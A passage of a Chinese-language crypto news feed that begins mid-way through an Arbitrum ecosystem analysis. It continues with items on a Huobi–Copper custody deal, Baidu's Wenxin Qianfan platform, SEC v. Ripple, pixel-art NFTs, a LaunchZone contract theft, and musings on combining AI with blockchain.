作为完成游戏目标的回报，用户可以将其奖励应用到他们的资产上。在整个生态系统的其他游戏中使用。此外，MagicSwap 和 Trove 为资产交换提供了中心位置，并推动了对 MAGIC 作为 NFT 销售货币的额外需求。 Arbitrum 内没有其他已建立的游戏生态系统可以与 Treasure 的范围相媲美。然而，Trident 正试图通过引入以风险换取收益的大型多人在线 (MMO) 游戏世界来改变这一现状。使用 MMO 模型，项目将能够在 Trident 宇宙中构建迷你游戏并搭载其用户群。 Trident 没有为 Treasure 等游戏构建生态系统平台，而是押注 Web3 MMO 将与 Minecraft 和 Roblox 等 Web2 MMO 一样取得成功，并且游戏开发人员将在自己的游戏中构建。 风险获利的主题也超越了传统的 Web3 游戏领域。随着 2023 年开始加密货币市场的风险偏好情绪回归，围绕去中心化菠菜应用程序出现了。这些平台建立在类似于 Arbitrum 的永续衍生品平台的流动性机制之上——流动性提供者扮演着“房子”的角色，并允许用户对他们的集合资金进行押注。根据项目的不同，这笔资金可以是协议的原生代币形式，也可以是外部资产，如 ETH 或 USDC。 与传统一样，赔率为流动性提供者提供了轻微的优势。然而，与传统不同的是，每个游戏的随机输入和相应的结果都可以被任何参与者在链上验证。在 Arbitrum 的去中心化建设的项目包括 Arcadeum、Nice2Win、Arbi Roul、Party Dice 和 Betswirl。 该行业虽然还很年轻，但具有长期上涨的潜力，并探索与现有 Web2 平台的合作伙伴关系以获得额外的收入来源。 Party Dice 已经采用了这一策略。此外，缺乏 KYC 和获得全球流动性的途径扩大了去中心化平台的总可寻址市场。然而，这可能只是一个短期的好处，而项目仍然很小——任何获得实质性吸引力的项目几乎肯定会面临监管压力。 Arbitrum NFT 生态系统仍处于早期阶段。在过去的一个月里，该网络的 NFT 交易量仅为 3,900 ETH——与同一时间段内以太坊 L1 的 130 万 ETH 交易量相比，这只是一个零头。 Arbitrum 上唯一一致的 NFT 交易量来源来自 Treasure 的 Trove 市场。这可能是因为 Trove 是 Magic 生态系统中游戏 NFT 的本地市场，玩家正在交换资产用于游戏内使用，而不是像当今大多数其他 NFT 市场那样进行投机。 自 2022 年 9 月中旬在 Arbitrum 上部署该市场以来，OpenSea的相对市场份额在最近几个月有所增长。在 SpaceID 推出 .arb 命名服务的支持下，该市场在 2 月份经历了短暂的交易量激增，但此后有所下降.在更多项目在 Arbitrum 上推出原生 NFT 和投机回报之前，Arbitrum 上的 NFT 交易可能会保持低迷。 Arbitrum 将作为网络增长的案例研究载入加密历史。它的成功可以归因于三个相互关联的因素：推迟原生代币、原生应用程序，以及它的冒险用户群。 如前所述，Arbitrum 决定在没有代币激励的情况下引导其网络，这为其提供了相对于竞争对手的成本优势。追溯代币分发的前景足以让投机用户尝试其生态系统的应用程序。在开发人员方面，构建者可以自由创建应用程序，而不必担心唯利是图的用户仅仅为了获得短期回报而与他们的协议进行交互。 GMX 和 Treasure 等原生应用的成功吸引了更多的建设者来挖掘生态的用户群。 DeFi 生态系统看到许多现有应用程序增加了对 Arbitrum 的支持，以利用生态系统内不断增长的流动性。游戏开发者选择使用 Treasure 进行构建，以访问其粘性用户群。此外，这些协议的早期用户能够利用他们的成功所创造的财富效应。与 Optimism 不同，Optimism 具有许多由大型 VC 支持的协议，Arbitrum 的本地应用程序主要由社区资助。这创建了一个自循环，因为社区利润会迅速流回生态系统中的其他项目。 最后，Arbitrum 生态系统历来迎合了对杠杆有偏好和高风险承受能力的用户群。其永续平台的流行、杠杆策略以及越来越多的风险盈利游戏和菠菜平台都证明了这一点。一旦将这些用户引入生态系统，让他们测试各种应用程序并将自己融入社区就相对容易了。 $ARB 代币发布 期待已久的 $ARB 代币发布将对 Arbitrum 生态系统的未来产生深远影响。试用 Arbitrum 生态系统的早期采用者现在将获得网络代币供应量 11.6% 的空投奖励。上周，Arbitrum 基金会详细制定了确定空投资格的标准。一般来说，在多个月内保持一致活动并通过网络与各种合约进行交互的钱包获得的奖励远远超过那些只是桥接资金并进行一些一次性交易的钱包。 $ARB 代币接收者的另一个值得注意的类别是在发展 Arbitrum 生态系统中发挥作用的 DAO。 1.13 亿个代币将根据 Arbitrum 基金会确定的各种指标分配给协议。这些包括协议启动的时间，无论它是 Arbitrum 还是多链的原生协议、它的 TVL、用户活动、交易量、平均交易价值，以及它在跨时间维护这些指标方面的一致性。 排名前 10 位的 DAO 将获得分配给该类别的 41% 的代币。在这一组中，行业领导者 Treasure、GMX 和 Uniswap 因其对 Arbitrum 的游戏和 DeFi 生态系统的巨大影响力而成为前三名。如果我们分析收到的 $ARB 代币与每个协议的流通市值的比率，我们会发现市值较低的协议将获得价值超过其市值 10% 的代币。不出所料，自从宣布向 DAO 分配 $ARB 以来，其中许多代币的价格都出现了两位数的上涨。 最后，Arbitrum DAO 金库将收到近 43% 的 $ARB 代币。随着 Arbitrum 超越其最初的增长阶段，生态系统将无法再依赖其之前聪明的低成本用户获取策略。相反，DAO 需要动用其资金来吸引下一波开发者和用户。 Nova Arbitrum Nova 是为大容量 dApp 创建的rollup，于 2022 年 8 月与 Arbitrum Nitro 一起发布。Nova 依赖于 Arbitrum 的 AnyTrust 技术，这是 Nitro 的一种变体，可进一步降低成本。该数据不是直接在以太坊 L1 上发布交易，而是发送到外部数据可用性委员会 (DAC)。这消除了 rollup 向以太坊 L1 支付 gas 费用以存储调用数据的需要，但创建了一个温和的信任假设：用户必须相信至少有两个 DAC 成员在诚实地存储交易数据。 DAC 是一组经过许可的基础设施提供商，包括 Offchain Labs、ConsenSys、Reddit、Google Cloud、P2P 和 QuickNode。如果 DAC 离线或未能就 DAC 证书达成共识，系统将回退到原始的 Arbitrum rollup 协议，并将以标准 rollups 为代价运行。 尽管 Nova 承诺为用户和应用程序开发人员节省更多成本，但 rolllup 尚未得到实质性采用。 Nova自上线以来，其日均3万笔交易量仅占One日均35万笔交易量的8.5%。在 $ARB 代币发布之后，我们可以看到 Arbitrum DAO 选择激励 Nova 的更大发展。游戏、社交和认证平台等消费者应用程序自然适合 Nova，因为它们需要高吞吐量和低交易费用。 Stylus Arbitrum Stylus 是一个即将推出的编程环境，它利用了 Arbitrum 的 Nitro 升级带来的变化。 Stylus 将允许使用 C、C++ 和 Rust 等传统编程语言编写的程序部署在 Arbitrum 的汇总上。这些语言被编译成 Wasm 二进制格式，然后通过 EVM 发送执行。 由于与其原生 Solidity 语言相关的学习曲线，以太坊在历史上一直难以吸引 Web2 开发人员。虽然 Stylus 的发布日期仍然未知，但它的推出将使所有只熟悉传统编程语言的开发人员更容易访问 Arbitrum 的开发环境。此外，Stylus 为在其他智能合约平台上使用这些传统语言开发的应用程序提供了一个迁移到 Arbitrum 的机会。这将使他们能够利用以太坊的安全功能，而无需对其现有代码库进行大量修改。 Orbit 在发布 $ARB 代币的同时，Arbitrum 基金会发布了 Arbitrum Orbit，这是一个用于第 3 层 (L3) 网络的开发工具包，无需许可即可部署在 Arbitrum 的 L2 rollup之上。 L3 将被定义为 Arbitrum 的 L2 上的智能合约，这将要求他们向 L2 支付测序费用。添加对 L3 的支持应该有助于提高 Arbitrum 生态系统的可扩展性，同时使其执行环境和安全模型多样化。 Orbit 还将允许新项目利用 Nitro 代码库并在以太坊上作为 L2 启动。但是，只有当项目获得 Arbitrum DAO 的明确授权时，此选项才可用。任何授权都可能要求项目向 Arbitrum DAO 支付 Nitro 许可费，因为这些项目不会为使用 Arbitrum 的排序器支付费用。 支持 L3 部署而不是切向 L2 的决定标志着 Arbitrum 与其紧密的竞争对手 Optimism 在战略上的明显差异。 Arbitrum 正试图通过其作为专有开发环境的代码库获利，而 Optimism 将通过对其共享排序器基础设施的访问获利。 低成本的增长黑客和强大的、社区驱动的应用程序生态系统使 Arbitrum 成为市场上领先的以太坊扩展解决方案。该网络的原生代币的推出标志着其生命周期中的一个关键点，因为它正走上去中心化的道路。由于以太坊 L2 是一个不断发展的生态系统，Arbitrum 将需要适应开发人员和用户不断变化的需求，以保持其早期领先地位。通过专注于提高传统编程语言的可访问性和对第 3 层网络的支持，Arbitrum 正准备通过其网络汇集更多活动。  ( 11 min )
    火必与Copper签署战略协议加入其ClearLoop网络，用户资产安全再升级
    火必宣布与Copper签署战略协议，并将加入其ClearLoop网络，携手升级用户资产安全。 据悉，火必是Copper自1月成立以来第五家加入其网络的交易所。这意味着，全球十大加密衍生品交易所中已有五家集成在该网络，业内持续推动减轻交易对手风险的态势已成必然。 ClearLoop是Copper的场外结算网络，它将支持火必用户委托交易所的资金进行即时交易，而资产仍由Copper保管。官方资料显示，CloarLoop创新地与市场上首个受英国法律管辖的单证建立了一个信托，使客户委托资产和交易所保证金相关的每个单证都受到安全协议的约束。这种结构旨在解决任何ClearLoop参与者的破产风险，以保证在任何时候，无论是交易对手还是Copper自身破产，客户和交易所的资产都能够得到妥善处理。 火必是一家成立十余年，全球领先的交易所。成立至今，一直保持100%可用、十年无安全事故的行业最好安全记录，其基础设施托管于国际知名云服务器，具备容错率极高的灾备能力，核心业务数据与技术架构不依赖任何中心化人力，具备自运转能力，安全底层强大。本次加入ClearLoop网络旨在为再次巩固升级用户资产安全，为其提供“双保险”。 火必还始终坚持全球合规化运营。目前已获加拿大MSB牌照、美国MSB信托牌照、英属维尔京群岛SIBA牌照、直布罗陀DLT牌照等全球多国运营牌照。未来将携手更多业内伙伴，在遵守各地法律法规的前提下，探索并落地多元化合规合法运营模式，推动火必全球Web3门户建设。 火必携手Copper共同树立客户资产保护标准 Copper首席执行官Dmitry Tokarev评论道：“现在比以往任何时候都更需要托管人和交易所共同努力，才能有效解决如交易对手风险等行业主要风险。越来越多的交易所加入ClearLoop证明大家愈加有意愿共同解决上述问题。我们非常荣幸能与像火必这样的行业领袖合作，共同树立客户资产保护的标准。” 他还表示：“ClearLoop网络的整合将有助于实现双方均希望与用户建立牢固信任基础的共同目标，因为火必的客户现在可以解锁更高的资金分配，分散交易对手风险并提升资本效率。” 对此，火必相关负责人表示：火必一直将用户资产安全放在首位，非常荣幸能与Copper达成战略合作。希望双方能在用户资产安全方面强强联合，为交易所用户构筑更安全的保护墙，打造安全放心的良性加密交易环境，携手推动加密行业安全、透明、合规发展。 正如此前火必全球顾问委员会委员孙宇晨所说：“火必致力于技术和安全的投资。目前已实施一系列措施来确保用户的资金安全。这些措施包括使用冷存储，有助于防止资产被网络犯罪分子黑客攻击或窃取。除此之外，火必还采用多签名技术和可靠的云计算来保护用户资产。”双方的本次合作将践行这一战略，巩固并升级上述安全措施，为用户提供更安全的交易服务，共同推动行业合规发展。 关于Copper 自2018年成立以来，Copper一直通过提供数字资产托管、交易，抵押品管理等服务，致力于为相关机构树立数字资产标准。在屡获殊荣的技术支持下，Copper已经建立了安全保管、交易加密货币及其他数字资产（如代币和稳定币）所需的全套产品和服务。Copper基础设施的核心是ClearLoop，它使客户能够在多个交易所进行近乎实时的交易和结算，同时减轻对手方风险并提高资本效率。 关于火必 火必成立于2013年，已从一个加密货币交易所发展成为一个全面的区块链业务生态系统，涵盖了数字资产交易、金融衍生品、钱包、研究、投资、孵化和其他业务。火必秉承“全球化、科技推动发展、科技向善”三大发展战略，向世界虚拟货币爱好者提供全方位的价值与服务，业务覆盖五大洲160多个国家，拥有数千万用户。  ( 4 min )
    百度文心一言升级，企业级大模型服务平台“文心千帆”今日发布
    PANews 3月27日消息，据科创板日报报道，记者从参加百度智能云今日闭门交流会客户处获悉，百度正式推出“文心千帆”大模型平台，这是百度面向客户提供企业级大语言模型服务的平台。 据了解，文心千帆大模型平台不仅包括文心一言，还包括百度全套文心大模型、相应的开发工具链。未来，文心千帆还会支持第三方的开源大模型。 在现场实时演示中，文心千帆可实现三分钟做PPT、数字人直播带货、订机票和酒店等操作。在收费模式上，文心千帆的推理服务调用以0.012元/1000 tokens收费，按调用输入输出总字数付费。  ( 4 min )
    律师：美SEC诉Ripple案简易判决或在本周宣布
    PANews 3月27日消息，据Coingape报道，美国SEC和Ripple Labs之间的诉讼案正在等待美国地方法院宣布一项简易判决，而该场诉讼中的“法庭之友”律师John Deaton表示，法官的裁决将在未来几周内公布，而本周可能会宣布一项简易判决。这一声明是在Ripple和被告提交了一份补充授权的书面通知以支持公平通知辩护时发布的。 Deaton律师补充说，在目前的节点上XRP拥有最具吸引力的风险/回报比。如果法院做出了对Ripple有利的裁决，那么很明显，XRP不是一种证券，这将大幅影响其价格。  ( 4 min )
    深度剖析像素风NFT发展趋势：为何会成为市场主要潮流？
    文章：@TraFinity Labs @AIO Labs 作者：@Luna.F @Irislaohu TraFinity Labs & AIO Labs联合发布，AIONews全网首发。 都说流行是个圈，2023年开年，有人注意到，NFT圈的流行风又刮回到像素艺术。像素风NFT稳稳地坐在各大热榜的头把交椅上。和女人衣橱里永远不会被淘汰的基础款一样，霸榜者们由小方格组成的头像仿佛在说：凡经典者，必成永恒。这个道理，放在Web3也一样适用。 眼下，CryptoPunks走势爆好，被誉为“ NFT 领域的先驱之一”，热门NFT的价格更是飙升到前所未有的高度。 我们在最近爆火的BTC NFT赛道不断波动的热度榜上，看到前64位的NFT中像素风NFT可以占据30-35名，轻松占据半壁江山。（数据来源：Ordinals.Market）   2017年6月工作室Larva Labs推出像素风NFT CryptoPunks，2022年“无聊猿”母公司Yuga Labs将其收购，CryptoPunks称得上是NFT的鼻祖。CryptoPunks发行共一万个NFT，每个NFT代表不同的「朋克风」像素风头像。在CryptoPunks网站上，每个朋克像素头像都有自己的资料展示，显示他们的属性特征及所有权和出售状态。其中的3100号和7804号在2022年3月11日均以4200 ETH价格成交，按照当时的ETH价格计算，成交价格约在7566万美元。CryptoPunksm #5822 在2 月份时，以当时破纪录的最高价8,000 ETH 在市场售出。   从CryptoPunks作为第一个出圈而被玩家顶礼膜拜的NFT时，像素风就已经成为了NFT的基因之一，又被逐利者快速打成了模版。CryptoPunks已经征服了当今的 NFT 市场。此后的近两年内，各类像素风NFT横空出世，Worldwide Webb 、CyberKongz 、Yubo Randos、Meebits、ApeGang 、BitCats 像素风NFT纷纷亮相。像素风 NFT 数字艺术作品的数量和市值不断增加。截至目前，像素风 NFT 数字艺术作品在许多 NFT 市场中的数量和市值都排名前列，成为了 NFT 市场中的重要品类之一。在NFT领域浪潮迭起，像素风NFT在Web3扩张了全新的叙事。 当购买像素风NFT之时，用户究竟是买的什么？是购买者对于NFT中像素风格价值的认可与迷恋，是对NFT市场的艺术性的高度认可。数字艺术区别于实体艺术形态，簇拥者们在市场的高价追捧更像是犹如行为艺术的呐喊。 《艺术的价值：金钱、社会、美》书中曾提到：“从历史上随便找出一个时期，都会发现，时下的品味是交易商、收藏家、批评家、艺术馆策展人这些艺术圈子里的人共同决定的。” 数字艺术的出现，丰富了艺术作品展现形式。一部分用户看到了数字艺术的价值，人们的的价值载体找到了新的突破口。 “由 PLAYING CHUCKLEFISH 所开发的《风来之国》，给我带来了一种回归故里的感觉，对我来说这种体验是前所未有的。在 2018 首次揭示之后，我立刻被这种塞尔达式的冒险元素，丰富多彩的叙事以及复杂多样的人物关系所吸引。但最重要的是，他由像素艺术所构建的华丽场景和高精度的环境让我赞叹不已。” 像素艺术家Extremely OK Games 在采访中提到像素风的迷人之处。 像素风是NFT的一种艺术分类，NFT本质是对于是所有权和拥有凭证。《纽约客》对NFT和艺术品关系做了一个形象的比喻：对艺术品而言，NFT 的功能类似于博物馆为艺术品标注来源，给艺术品打上专有印章，之后还可以继续在互联网自由传播。NFT的线上印章使其具备市场流通性的同时，同时具备身份社交标签属性。像素风的社交符号具备强烈的赛博朋克的特点，同时构建了独特的加密艺术审美。当人们在购买像素风NFT的同时，也在为其所代表的属性买单。一定有一部分投资客相信像素风NFT的升值空间，也有一部分玩家沉迷像素风NFT带来的体验：当他们拥有了像素风NFT，就能炫耀自己的前卫感和未来感。NFT的独特风格使社交货币的属性拉满，社交货币是指利用人们乐于与他人分享的特质，来塑造自己的产品或思想，从而达到口碑传播的目的。 美国营销咨询公司Vivaldi Partners 曾将社交货币划分为六个维度：归属感、交流讨论、身份感、价值、拥护性、信息、知识的交流。NFT作为社交情景下的谈资构成，是以上六个纬度的“高分产品”，自然而然在圈子里达到“疯传”。著名畅销书《疯传》里谈到，社交货币的价值在于像人们使用货币能够买到商品或服务一样，使用社交货币能够获得家人、朋友和同事的更多好评和更积极的印象。对于人们而言，拥有像素风NFT，就是对自己的人设就加上了：赛博朋克、高价值、未来感、稀缺性等多种标签，这种谈资的极致性感打造了现象级社交浪潮，让更多的人自愿参与其中。   同时，NFT的金融流通性和独特的分类，使大量对此感兴趣的人凝结成新的社区力量，像素风首当其冲。新生代网络中人们对于认同感的需求越来越高，像素风NFT所具备的收藏价值，使之可作为社交商品转送。NFT的唯一性，使拥有者对于自己身份信息达到唯一性认同。具备同类NFT的人快速形成社区，在社区内寻求认同感，拥护喜欢的NFT，找到共有圈层并在其中获取交流相关知识信息：我拥有了一个赛博朋克的稀缺NFT，同时也具备了NFT领域中的OG俱乐部会员资格。这使像素风NFT的社交货币价值更上一层楼，引起了大量感兴趣的人们投入其中。 图：CryptoPunks社区人数 图：CyberKongz社区人数   在90年代末期，像素风逐渐被游戏界视为“粗糙”、“生硬”的代名词，不再受到青睐。但像素艺术并没有被淘汰，反而成为一种独特的风格和文化符号。究其原因，像素风本身就是运用简单的元素表达主题内容，具备无限的创作空间，艺术风格别具一格。像素并不通过现实主义的手法去表现信息，相反，像素风表现出的简单、干净的视觉效果，可以有效减少视觉信息过载，从而提高信息的传递效率。 像素之所以能成为像素风，因为它退一步是复古，进一步是潮流。2017年，软件公司Larva Labs的创始人Matt Hall和John Watkinson开发了一款程序，能够生成数千个随机角色，这些角色看起来并不属于当时的主流审美类型。没过多久，Larva Labs就推出了我们现在所熟知的CryptoPunks——不规则像素组成的艺术图像集合。在这些像素形象中，除了人类形象，还包括若干绿皮僵尸、长毛猿人和蓝皮外星人等非人类形象，也都配有标榜个性的配饰组合。二位创始人直言，CryptoPunks的灵感来自伦敦Punk 精神：“他们（这些形象）必须是一堆不合群和不合规的人，20世纪70年代的伦敦Punk运动感觉就像是正确的审美观， 以电影《银翼杀手》（Blade Runner）和威廉·吉布森（William Gibson）的小说《神经漫游者》为代表的反乌托邦的赛博朋克精神也对此产生了影响。”在他们看来，区块链运动的早期有一种喧闹的反建制精神，这正是他们想在朋克的外表中反映出来的一种氛围。 受限于像素艺术的特点，像素风NFT人物脸部细节模糊，只能看清轮廓，充满一种受约束的未来感，高饱和的艳丽色彩给NFT披上朋克外衣。像素风分辨率低的刻板印象早已被抛之脑后，玩家看到的是限定的视觉资源背后更加开放的阐释空间。艺术家通过限制和简化来描绘画面，通过像素点来传达情感和思想，以此来反对过分强调画面品质却华而不实的作品。抽象性与象征性是像素风NFT的通点，也是Web3玩家追寻的态度。 此前，不乏有人发出“像素艺术已死”的观点，而在如今的NFT世界里仍有大批艺术家在为创作出接近完美的像素作品而努力，不断萌生出的一个又一个像素NFT就是对上述观点最有力的反驳。诸多像素风NFT项目带着各自的阐释席卷Web3世界，带着创意与传播力量不断阐释着经典。人们经常对像素风NFT的独特性和价值提出质疑。但 CryptoPunks想表达的远不止此——用创始人的话说，投资CryptoPunks这样的NFT可以让每个人在这种新艺术形式的角色中表达真我。 像素艺术是一种利用像素点阵原理绘制的数码图形，它最早出现在20世纪80年代的电子游戏中，由于当时的技术限制，游戏画面只能用粗糙的小方块来呈现。童年回忆《塞尔达传说》《超级玛丽》《魂斗罗》就是像素风的代表游戏，伴随80、90一代人的成长。那么也就不难理解，其他风格很难取代像素风的原因首先就是——复古情怀。 俄裔美国学者斯维特兰娜 · 博伊姆（Svellana Boym）在《怀旧的未来》里写道，“全球都在流行这种怀旧病，越来越多的人渴望拥有一种集体记忆的共同体情感，渴望在一个碎片化的世界中获得一种连续性”。在无社交不Web3的时代，钱包里的NFT就是叩开一个个社区大门的名片，代表holder的审美和品味，也是展开social的绝佳引入话题。而像素风无疑承载着大多数holder的童年回忆——即使是对马赛克版《超级玛丽》体验不多的00后来说，《我的世界》也可能是他们的心头好。你不必担心对方不了解死亡摇滚，也不必觉得可爱风会格格不入，像素风具有得天独厚的优势，可以快速勾起一众人的共同回忆。亲切，无忧，快乐，仿佛把人拉回特定的年代，下课铃一响，就三五成群地直奔游戏厅，迅速淹没在汗味和辣条味交织的人声里。曾经的硬件限制已经成为时代眼泪，像素风的保留和延续则证明，永远都有人在怀念。Web3给我们提供了可以怀念的方式，那我们为什么不可以直接承认，就是想狠狠怀念一把童年？ 除了情怀，像素风确实也可以快速打开市场，运用像素来创建各种元素、各种配饰的NFT形象要比其他类型的容易得多。NFT大小有限，画质不高，这也是为何我们常常觉得NFT本身就很像素化。如果减少图像中所使用的颜色数量，文件大小也会变小，那图像就更能适应各种屏幕尺寸和分辨率，有效兼容各种设备。像素风NFT可以在几分钟内就完成制作，设计上也拥有更多的灵活度，艺术家可以轻易创建大量不重复的NFT作品。相应地，与其他类型的NFT相比，像素风NFT的价格通常较低，玩家基础也更大，运营成本也更可控。这种相对的低价促进了更多人参与进NFT市场，为整个NFT市场增长做出了贡献。尽管热门项目CryptoPunks的底价偏高，也并不妨碍大量玩家涌向像素风。 不过要知道，像素风也并非我们所理解的“马赛克”那样简单。早期的像素画锯齿化明显、颜色数量较少， 如今的技术早已突破了分辨率与颜色数量的限制，多样的绘画形式也令像素画的界定范围更加灵活自由。这就意味着，艺术家需要在有限的画布中利用造型、构图和色彩等美学因素，反复斟酌素单位的排列位置，将每一个像素单位的作用最大化。看似简单的NFT像素作品，也蕴含着艺术家多年积累的技术和经验。至此，是不是觉得入手NFT是一个很不错的投资？ 早期像素风所呈现的颜色受限于电子游戏屏幕RGB色彩显示，色彩选择仅局限于56种，因此游戏开发者通常会选择高饱和度的主色、低饱和度的过渡色和阴影进行搭配。红绿撞色配蓝黄撞色是最常见的组合，给游戏玩家带来强烈的视觉冲击，让大脑分泌令人兴奋快乐的多巴胺。后来的拼豆、十字绣、乐高等像素艺术作品依然延续了这一色彩法则，像素NFT也不例外。像素风NFT的视觉张力可以给用户带来兴奋、好奇的感觉（当然也会让他们想起小时候玩游戏的快感），在大热榜单的数排头像中也是如此吸睛。 CryptoPunks 创造之初，Larva Labs 自留了项目中的1000张头像NFT，其余9000张NFT免费发放给拥有以太坊钱包的用户。 图：CryptoPunks 的收藏群体 CryptoPunks 后续的市场几乎炒作到天价，藏品渐渐流转到了鲸鱼手中。CryptoPunks 的前 5 大持有者主要是原始收藏家，他们迄今仍然拥有 CryptoPunks 总数的 14%。 图：CryptoPunks 的前 5 大收藏家 随着时间增加， NFT 收藏家的交易演变也表明，“传奇 NFT 收藏家”的交易在总交易量中所占的比例越来越小（就 ERC721 代币交易而言，传奇收藏家意味着前 0.1% 的收藏家）。 图：随着时间变化，购买 CryptoPunks 的 NFT 收藏者类型的变化 巨鲸玩法滋生了更多的暗箱操作和内幕交易，钱包的数量并不代表真实玩家的数量。买卖双方的真实性和资金流转或许成为了金融游戏，高价流转的市场必然不是普通人的领域。而艺术风格并不能避免金融力量的裹挟与控制，炒作机制使市场中的交易真假掺半。 Beeple的“一拍成名”之后的媒体曝出，买家是 Metapurse 的创始人 Meta Kovan。Metapurse 主导发行了关联 Beeple 的代币 B.20。同时，Id 为 metakovan 的同一位买家还以 11 个不同名字的钱包参与了 Beeple 在 2020 年 12 月的作品拍卖。 另一方面，随着更多的艺术家、创作团队的参与，NFT市场的流行更加多元化。CLONE X、Prime Ape Planet、NFT Bored Bunny、 HAPE 等多种流行NFT风格与像素风都相去甚远。 精细化图像和3D技术的高速进场，使NFT市场多样化爆发。主流艺术家开始加入NFT赛道，数字艺术渐渐与市场平行。随着市场上多种艺术风格的加入，NFT市场的艺术风格乃至艺术体系也将多元化演进和爆发。不仅图片艺术，视频、音乐等多种形式都在进入NFT市场。 艺术是一种不断发展的媒介，随着新的风格和技术的流行，它在过去的基础上探索人类经验和想象力的新角落。正如那些马赛克和彩色玻璃导致了 LCD 手表和Pong一样，过去的像素艺术正在影响现在的创作者，为游戏的未来创造新的基石。“从古希腊和罗马马赛克到彩色玻璃，再到十字绣、编织和串珠艺术，再到公共交通巴士或电饭煲正面的点阵打印机和廉价液晶显示器，”拥有数十年经验的像素艺术家 Christina-Antoinette Neofotistou 描述道，“离散点的放置在网格上表示图像不会很快消失。” 对于创作者而言，艺术的流行像是东风乍起，借着这股东风或者能在早期突破圈层的限制，撕开现实世界的一角。但是随着入场力量的增多，加密艺术并不能给出理想中的完全去中心化的公平公正的市场，金融属性使之离不开巨鲸的目光。在未来，更多风格和玩法的NFT能不能给出多元的答案，我们相信会有更多的想象空间。 Reference： https://postergrind.com/why-are-so-many-nfts-pixelated/ https://www.wired.com/story/modern-pixel-art-games/?mbid=social_twitter&utm_brand=wired&utm_medium=social&utm_social-type=owned&utm_source=twitter https://www.bricktownworld.com/en-us/blogs/the-bricktown-blog/the-role-of-pixel-art-in-the-expansion-of-nfts https://ishare.ifeng.com/c/s/v002-_ljXmEMPkYrPSa1--izFR2gs5KgB--bX3S-_oohVnB65Jc__ https://new.qq.com/rain/a/20220323A01ST200 https://zhuanlan.zhihu.com/p/498363713 https://www.digitaling.com/articles/338316.html https://www.business2community.com/nft/CryptoPunks  ( 5 min )
    LaunchZone的早期合约Bscex SwapX存在漏洞导致近780万美元资金被盗，超3.4万个地址面临风险
    PANews 3月27日消息，据Scam Sniffer监测，LaunchZone的早期合约Bscex SwapX存在漏洞，目前已有7799856美元的资金被盗。在早期批准该合约的用户面临风险。34065个地址处于危险之中，请用户尽快检查并撤销授权。 慢雾创始人余弦对此评论称：“谁能想到2～3年前钱包地址授权的一个项目出漏洞，许多用户一直没取消授权，有黑客就不断监测这些存在授权风险敞口的钱包地址，一旦发现有资金就盗走。” PANews提醒用户，可使用revoke.cash取消近期不使用的合约授权。  ( 4 min )
    漫谈人工智能与区块链结合的8种方式
    原文：《AI和区块链可以有哪些结合？》 作者：jojonas 今天看到了孟岩老师的一篇文章 强人工智能时代，区块链还有戏吗？ 主要提及对AGI的安全性的一些思考。想起我之前也思考过AI与区块链的一些联系，正好借此机会梳理一下。 事前声明，都是一些即时性的联想，并无严谨论证（主要是我也不会） 话不多说，直接开裂 大概是去年年底，有个争论我记得蛮清楚，就是说用于AI训练以及生成的很多美术素材，并不存在正规渠道向原作者支付版权费，引起了很多抗议。这一点很容易理解，假设AI吃了你的骨头把你消化掉，AI体内的钙就一定来源于你吗？但不管法律规定源于谁，你对于被吃却不给钱的事实总归是不满的。 可能是个奇怪的比喻，但大概就是这么回事。AI用数据训练某种程度上有点“吃干抹净”的意思，吃完人家生一个娃娃你说像你，但你没法证明这就是你的娃娃。确权困难，就更别提版权费了。 但如果沿用上述比喻的路径，只要能用DNA做亲子鉴定，问题就不会存在。 刚好区块链就可以做这个鉴定。数据上链后，就可以追溯；配合代币经济与零知识证明，AI用数据和人用数据没啥差别，一次性/订阅收费的话就付点token解密数据；根据使用次数收费的话就由训练时神经网络一路权重串起来，最后算版权费时好歹也能尽量做到客观。 成本端明确完了，再看看收益端。目前AI生态最典型的就是订阅制，openAI以及一众衍生应用都是这么干，甚至很多专业领域衍生工具收费比chatGPT还贵上非常多。在某些情况下，订阅制于服务提供者是最优选择，于消费者却并不是。 现在考虑一个问题，如何将AI服务的收益最大化？ 结合代币经济是一个不错的选择。代币分配与释放、质押、市值管理等，每一方面都可以玩出一些花。综合来说，就是使用代币，服务提供者面临的可能性可能是传统订阅制收费的数十倍。 当然，刚才也说了，使用代币的根本原因还是需要依赖区块链溯源和确权。 这里也说个听来的新闻（不确定真假）：chatGPT在非洲雇佣了一群廉价劳动力在做数据标注。当然，这个新闻之所以有趣，主要是沾到了“资本剥削”“种族调侃”等经典引战命题…… 话题回到“数据标注”。 数据标注本质上就通过人脑参与，干预机器学习的方向。可以大概理解为假设一个结果获得了更多的点赞，这个结果就会占据更高的权重。这就带来几个很有意思的命题： 1、数据标注的规则是什么？由谁制定？制定原则？ 2、数据标注由谁实施？ 3、怎么确保对正确标注的奖励，以及对错误标注的惩罚？ 如果你也思考过这几个问题，你就会发现一个比较严峻的现状：那就是世界上的绝大部分人，对于AI往何处发展不具有任何影响。假设AI的发展是一局游戏，或者一场战争，双方分别是AI和人类，AI可以改变人类命运，99%的人类能做的事却只能是接受。 再加点料：目前最万众瞩目的AI，也就是chatGPT，并不开源，以及从商业角度考虑应该永远不会开源。这当然无可厚非，但也并不意味着就绝对正确。这意味着前面几个问题，最终都是由一家商业公司解决的。 这家公司站在什么立场？就算假设它绝对向善，谁能确保它未来某一天不会被作恶者控制？或者再直接点，等到AGI成为社会生产的中流砥柱，恐怖分子直接入侵背后那几家公司，是否就掌控全局了？到那时你想用导弹反击，却发现导弹不受自己控制了…… 扯远了，回到这几个问题。目前我能想到的最合适的工具，还是区块链。 首先我们得承认，规则制定过程可能仍是中心化的，因为去中心化意味着不专业和一盘散沙；一旦牵扯到国际政治，也不可能简单多数表决就了事；并且永远不会存在能让所有人都满意的规则。但区块链可以确保一点，那就是规则一旦确定，就公开透明，且不再可变；并且一些极端错误的规则，永远可以被排除在外。 这回答了第一个问题。第二个，数据标注，如果由公司发布任务，终究很难避免统计偏误；但如果是链上完全去中心化分发呢？任何人都可以完成任务，这保证了模型训练不会朝某些不被注意的“方向”去走，而去抵达一个在随机性海洋中自然而然的“真实”。 当然，需要配合第三个问题，奖惩机制对标注行为的引导。这块区块链实在是太擅长了（主要是高效便捷）。具体怎么判别奖还是惩，其实又回到第一个问题了。 说了这么多，其实都是非常理想化的假设。先不谈技术与逻辑能否走通，单就AI发展所需的投资，就远不可能仅依靠非中心化的力量。在美国是大型商业公司，在中国可能是政府；创业公司或者什么DAO？不存在的。 一条可行的路径可能是，中心化力量推动，但用去中心化的方式去做数据确权、标注等。不过谁又会有这个动机呢…… 